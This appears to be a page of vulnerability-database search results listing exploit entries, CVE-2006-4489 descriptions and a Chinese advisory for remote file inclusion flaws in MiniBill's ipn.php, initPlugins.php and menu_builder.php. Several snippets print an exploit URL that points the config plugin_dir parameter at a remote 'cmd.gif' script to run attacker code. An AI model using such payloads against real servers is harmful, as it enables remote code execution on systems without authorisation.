33 matches found
MiniBill 20061010 - 'menu_builder.php' File Inclusion
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= MiniBILL v2006-10-10 configpagedir Remote File Include Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Author: xoron...
MiniBill <= 20061010 (menu_builder.php) File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================== MiniBill = 20061010 menubuilder.php File Include Vulnerability ==================================================================...
MiniBill 20061010 - menu_builder.php File Inclusion
MiniBill 20061010 - menubuilder.php File Inclusion -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= MiniBILL v2006-10-10 configpagedir Remote File Include Vulnerability...
MiniBill config[include_dir]参数远程文件包含漏洞
MiniBill是用PHP编写的ISP计费软件。 MiniBill处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。 MiniBill的actions/ipn.php脚本没有正确验证configincludedir参数的输入，允许攻击者通过包含本地或外部资源的任意文件导致执行任意代码。成功攻击要求打开了registerglobals。 Ultrize LLC MiniBill v1.22 Beta 我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...
CVE-2006-4489
Multiple PHP remote file inclusion vulnerabilities in MiniBill 2006-07-14 1.2.2 allow remote attackers to execute arbitrary PHP code via 1 a URL in the configincludedir parameter in actions/ipn.php or 2 an FTP path in the configplugindir parameter in include/initPlugins.php...
CVE-2006-4489
Multiple PHP remote file inclusion vulnerabilities in MiniBill 2006-07-14 1.2.2 allow remote attackers to execute arbitrary PHP code via 1 a URL in the configincludedir parameter in actions/ipn.php or 2 an FTP path in the configplugindir parameter in include/initPlugins.php...
CVE-2006-4489
The CVE-2006-4489 entry concerns MiniBill 2006-07-14 (1.2.2) with multiple PHP remote file inclusion flaws. An attacker can cause arbitrary PHP code execution by supplying: (1) a URL for the config[include_dir] parameter in actions/ipn.php, and (2) an FTP path for the config[plugin_dir] parameter...
MiniBill <= 1.22b config[plugin_dir] Remote File Inclusion Vulnerabilities
MiniBill v1.22 Beta Remote File Inclusion Vulnerability Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip Found By: the master exploit: http://Target/Path/actions/ipn.php?configplugindir=http://cmd.gif?...
minibill.txt
MiniBill v1.22 Beta Remote File Inclusion Vulnerability Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip Found By: the master exploit: http://Target/Path/actions/ipn.php?configplugindir=http://cmd.gif? http://Target/Path/include/initPlugins.php?configplugindir=http://cmd.g...
MiniBill 1.22b - config[plugin_dir] Remote File Inclusion
MiniBill 1.22b - configplugindir Remote File Inclusion MiniBill v1.22 Beta Remote File Inclusion Vulnerability Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip Found By: the master exploit: http://Target/Path/actions/ipn.php?configplugindir=http://cmd.gif?...
MiniBill <= 1.22b config[plugin_dir] Remote File Inclusion Vulnerabilities
No description provided by source. MiniBill v1.22 Beta Remote File Inclusion Vulnerability Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip Found By: the master exploit: http://Target/Path/actions/ipn.php?configplugindir=http://cmd.gif?...
MiniBill <= 1.22b config[plugin_dir] Remote File Inclusion Vulnerabilities
Exploit for unknown platform in category web applications ========================================================================== MiniBill = 1.22b configplugindir Remote File Inclusion Vulnerabilities ========================================================================== MiniBill v1.22 Bet...
MiniBill 1.22b - config[plugin_dir] Remote File Inclusion
MiniBill v1.22 Beta Remote File Inclusion Vulnerability Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip Found By: the master exploit: http://Target/Path/actions/ipn.php?configplugindir=http://cmd.gif?...